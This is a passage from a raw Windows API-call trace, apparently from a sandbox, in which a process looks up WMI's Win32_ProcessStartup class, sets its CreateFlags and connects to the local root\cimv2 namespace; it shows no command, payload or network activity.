pPrx=0x1bf3e300, dwProperty=2, pdwValue=0x1b2fcbe0 | out: pdwValue=0x1b2fcbe0) returned 0x80004002 [0067.373] WbemLocator:IUnknown:Release (This=0x1bef1340) returned 0x2 [0067.373] CoGetContextToken (in: pToken=0x1b2fd200 | out: pToken=0x1b2fd200) returned 0x0 [0067.373] CoGetContextToken (in: pToken=0x1b2fd100 | out: pToken=0x1b2fd100) returned 0x0 [0067.373] WbemLocator:IUnknown:QueryInterface (in: This=0x11c8ac0, riid=0x1b2fd260*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fd080 | out: ppvObject=0x1b2fd080*=0x11c8ac0) returned 0x0 [0067.374] WbemLocator:IUnknown:Release (This=0x11c8ac0) returned 0x2 [0067.374] SysStringLen (param_1=0x0) returned 0x0 [0067.374] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bd00, lFlags=2, puBuffLength=0x1b2fd9c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd9c8*=0x15, pszText=0x0) returned 0x0 [0067.374] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bd00, lFlags=2, puBuffLength=0x1b2fd9c8*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fd9c8*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0067.374] IWbemServices:GetObject (in: This=0x11c8ac0, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b2fd810*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd810*=0x1bf45760, ppCallResult=0x0) returned 0x0 [0067.376] IWbemClassObject:Get (in: This=0x1bf45760, wszName="__PATH", lFlags=0, pVal=0x1b2fd8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fda48*=0, plFlavor=0x1b2fda40*=0 | out: pVal=0x1b2fd8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b2fda48*=8, plFlavor=0x1b2fda40*=64) returned 0x0 [0067.376] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0067.376] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0067.376] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd918 | out: ppv=0x1b2fd918*=0x111f638) returned 0x0 [0067.376] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd908 | out: pAptType=0x1b2fd908*=1) returned 0x0 [0067.376] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd910 | out: ppvObject=0x1b2fd910*=0x0) returned 0x80004002 [0067.376] IUnknown:Release (This=0x111f638) returned 0x1 [0067.378] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcd30 | out: ppv=0x1b2fcd30*=0x1bf3e100) returned 0x0 [0067.378] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3e100, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd78 | out: ppvObject=0x1b2fcd78*=0x0) returned 0x80004002 [0067.379] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf3e100, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd28 | out: ppvObject=0x1b2fcd28*=0x1bf3be80) returned 0x0 [0067.379] WbemDefPath:IUnknown:Release (This=0x1bf3e100) returned 0x0 [0067.379] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3be80, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcb38 | out: ppvObject=0x1b2fcb38*=0x1bf3be80) returned 0x0 [0067.379] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3be80, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcbe0 | out: ppvObject=0x1b2fcbe0*=0x0) returned 0x80004002 [0067.379] WbemDefPath:IUnknown:AddRef (This=0x1bf3be80) returned 0x3 [0067.379] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3be80, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc288 | out: ppvObject=0x1b2fc288*=0x0) returned 0x80004002 [0067.379] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3be80, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc210 | out: ppvObject=0x1b2fc210*=0x0) returned 0x80004002 [0067.379] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3be80, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc200 | out: ppvObject=0x1b2fc200*=0x1bf3e380) returned 0x0 [0067.379] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf3e380, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc228 | out: pCid=0x1b2fc228*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0067.379] WbemDefPath:IUnknown:Release (This=0x1bf3e380) returned 0x3 [0067.379] CoGetContextToken (in: pToken=0x1b2fc2b0 | out: pToken=0x1b2fc2b0) returned 0x0 [0067.379] CoGetContextToken (in: pToken=0x1b2fc730 | out: pToken=0x1b2fc730) returned 0x0 [0067.379] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3be80, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7f0 | out: ppvObject=0x1b2fc7f0*=0x0) returned 0x80004002 [0067.380] WbemDefPath:IUnknown:Release (This=0x1bf3be80) returned 0x2 [0067.380] WbemDefPath:IUnknown:Release (This=0x1bf3be80) returned 0x1 [0067.380] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0067.380] CoGetContextToken (in: pToken=0x1b2fd450 | out: pToken=0x1b2fd450) returned 0x0 [0067.380] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3be80, riid=0x1b2fd5b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd580 | out: ppvObject=0x1b2fd580*=0x1bf3be80) returned 0x0 [0067.380] WbemDefPath:IUnknown:AddRef (This=0x1bf3be80) returned 0x3 [0067.380] WbemDefPath:IUnknown:Release (This=0x1bf3be80) returned 0x2 [0067.380] WbemDefPath:IWbemPath:SetText (This=0x1bf3be80, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0067.380] IWbemClassObject:Get (in: This=0x1bf45760, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2946988*=0, plFlavor=0x294698c*=0 | out: pVal=0x1b2fd978*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2946988*=19, plFlavor=0x294698c*=0) returned 0x0 [0067.380] IWbemClassObject:Get (in: This=0x1bf45760, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd968*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2946988*=19, plFlavor=0x294698c*=0 | out: pVal=0x1b2fd968*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2946988*=19, plFlavor=0x294698c*=0) returned 0x0 [0067.380] IWbemClassObject:Put (This=0x1bf45760, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0067.380] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3a800, puCount=0x1b2fd930 | out: puCount=0x1b2fd930*=0x0) returned 0x0 [0067.380] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0067.380] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0067.380] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0067.381] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd848 | out: ppv=0x1b2fd848*=0x111f638) returned 0x0 [0067.381] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd838 | out: pAptType=0x1b2fd838*=1) returned 0x0 [0067.381] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd840 | out: ppvObject=0x1b2fd840*=0x0) returned 0x80004002 [0067.381] IUnknown:Release (This=0x111f638) returned 0x1 [0067.382] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc60 | out: ppv=0x1b2fcc60*=0x1bf3de80) returned 0x0 [0067.383] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3de80, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcca8 | out: ppvObject=0x1b2fcca8*=0x0) returned 0x80004002 [0067.383] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf3de80, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x1bf3bf40) returned 0x0 [0067.383] WbemDefPath:IUnknown:Release (This=0x1bf3de80) returned 0x0 [0067.383] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bf40, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca68 | out: ppvObject=0x1b2fca68*=0x1bf3bf40) returned 0x0 [0067.383] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bf40, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb10 | out: ppvObject=0x1b2fcb10*=0x0) returned 0x80004002 [0067.383] WbemDefPath:IUnknown:AddRef (This=0x1bf3bf40) returned 0x3 [0067.383] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bf40, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc1b8 | out: ppvObject=0x1b2fc1b8*=0x0) returned 0x80004002 [0067.383] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bf40, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc140 | out: ppvObject=0x1b2fc140*=0x0) returned 0x80004002 [0067.383] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bf40, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc130 | out: ppvObject=0x1b2fc130*=0x1bf3e040) returned 0x0 [0067.383] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf3e040, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc158 | out: pCid=0x1b2fc158*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0067.383] WbemDefPath:IUnknown:Release (This=0x1bf3e040) returned 0x3 [0067.383] CoGetContextToken (in: pToken=0x1b2fc1e0 | out: pToken=0x1b2fc1e0) returned 0x0 [0067.383] CoGetContextToken (in: pToken=0x1b2fc660 | out: pToken=0x1b2fc660) returned 0x0 [0067.383] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bf40, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc720 | out: ppvObject=0x1b2fc720*=0x0) returned 0x80004002 [0067.384] WbemDefPath:IUnknown:Release (This=0x1bf3bf40) returned 0x2 [0067.384] WbemDefPath:IUnknown:Release (This=0x1bf3bf40) returned 0x1 [0067.384] CoGetContextToken (in: pToken=0x1b2fd480 | out: pToken=0x1b2fd480) returned 0x0 [0067.384] CoGetContextToken (in: pToken=0x1b2fd380 | out: pToken=0x1b2fd380) returned 0x0 [0067.384] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf3bf40, riid=0x1b2fd4e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd4b0 | out: ppvObject=0x1b2fd4b0*=0x1bf3bf40) returned 0x0 [0067.384] WbemDefPath:IUnknown:AddRef (This=0x1bf3bf40) returned 0x3 [0067.384] WbemDefPath:IUnknown:Release (This=0x1bf3bf40) returned 0x2 [0067.384] WbemDefPath:IWbemPath:SetText (This=0x1bf3bf40, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0067.384] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3bf40, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0067.384] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bf40, lFlags=4, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0067.384] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bf40, lFlags=4, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0067.384] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0067.384] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0067.384] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0067.384] IUnknown:Release (This=0x111f638) returned 0x1 [0067.385] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce80 | out: ppv=0x1b2fce80*=0x1bf3df80) returned 0x0 [0067.385] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf3df80, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcec8 | out: ppvObject=0x1b2fcec8*=0x0) returned 0x80004002 [0067.385] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bf3df80, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x1bf3dfa0) returned 0x0 [0067.386] WbemLocator:IUnknown:Release (This=0x1bf3df80) returned 0x0 [0067.386] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf3dfa0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc88 | out: ppvObject=0x1b2fcc88*=0x1bf3dfa0) returned 0x0 [0067.386] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf3dfa0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcd30 | out: ppvObject=0x1b2fcd30*=0x0) returned 0x80004002 [0067.386] WbemLocator:IUnknown:AddRef (This=0x1bf3dfa0) returned 0x3 [0067.386] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf3dfa0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc3d8 | out: ppvObject=0x1b2fc3d8*=0x0) returned 0x80004002 [0067.386] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf3dfa0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc360 | out: ppvObject=0x1b2fc360*=0x0) returned 0x80004002 [0067.386] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf3dfa0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc350 | out: ppvObject=0x1b2fc350*=0x0) returned 0x80004002 [0067.386] CoGetContextToken (in: pToken=0x1b2fc400 | out: pToken=0x1b2fc400) returned 0x0 [0067.386] CoGetContextToken (in: pToken=0x1b2fc880 | out: pToken=0x1b2fc880) returned 0x0 [0067.386] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf3dfa0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc940 | out: ppvObject=0x1b2fc940*=0x0) returned 0x80004002 [0067.386] WbemLocator:IUnknown:Release (This=0x1bf3dfa0) returned 0x2 [0067.386] WbemLocator:IUnknown:Release (This=0x1bf3dfa0) returned 0x1 [0067.386] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0067.386] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0067.386] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf3dfa0, riid=0x1b2fd490*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1bf3dfa0) returned 0x0 [0067.386] WbemLocator:IUnknown:AddRef (This=0x1bf3dfa0) returned 0x3 [0067.386] WbemLocator:IUnknown:Release (This=0x1bf3dfa0) returned 0x2 [0067.387] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf3bf40, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0067.387] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bf40, lFlags=8, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0067.387] WbemDefPath:IWbemPath:GetText (in: This=0x1bf3bf40, lFlags=8, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0067.387] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd5a0 | out: ppv=0x1b2fd5a0*=0x1bf3dec0) returned 0x0 [0067.387] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bf3dec0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd708 | out: ppNamespace=0x1b2fd708*=0x11c8250) returned 0x0 [0067.583] WbemLocator:IUnknown:QueryInterface (in: This=0x11c8250, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd418 | out: ppvObject=0x1b2fd418*=0x1bef14b0) returned 0x0 [0067.583] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bef14b0, pProxy=0x11c8250, pAuthnSvc=0x1b2fd4e0, pAuthzSvc=0x1b2fd460, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464, pImpLevel=0x1b2fd46c, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468 | out: pAuthnSvc=0x1b2fd4e0*=0xa, pAuthzSvc=0x1b2fd460*=0x0, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464*=0x6, pImpLevel=0x1b2fd46c*=0x2, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468*=0x1) returned 0x0 [0067.583] WbemLocator:IUnknown:Release (This=0x1bef14b0) returned 0x1 [0067.583] WbemLocator:IUnknown:QueryInterface (in: This=0x11c8250, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3b0 | out: ppvObject=0x1b2fd3b0*=0x1bef14f0) returned 0x0 [0067.583] WbemLocator:IUnknown:QueryInterface (in: This=0x11c8250, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3c0 | out: ppvObject=0x1b2fd3c0*=0x1bef14b0) returned 0x0 [0067.583] WbemLocator:IClientSecurity:SetBlanket (This=0x1bef14b0, pProxy=0x11c8250, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0067.583] WbemLocator:IUnknown:Release (This=0x1bef14b0) returned 0x2 [0067.583] WbemLocator:IUnknown:Release (This=0x1bef14f0) returned 0x1 [0067.583] CoTaskMemFree (pv=0x1bf3d4c0) [0067.583] WbemLocator:IUnknown:AddRef (This=0x11c8250) returned 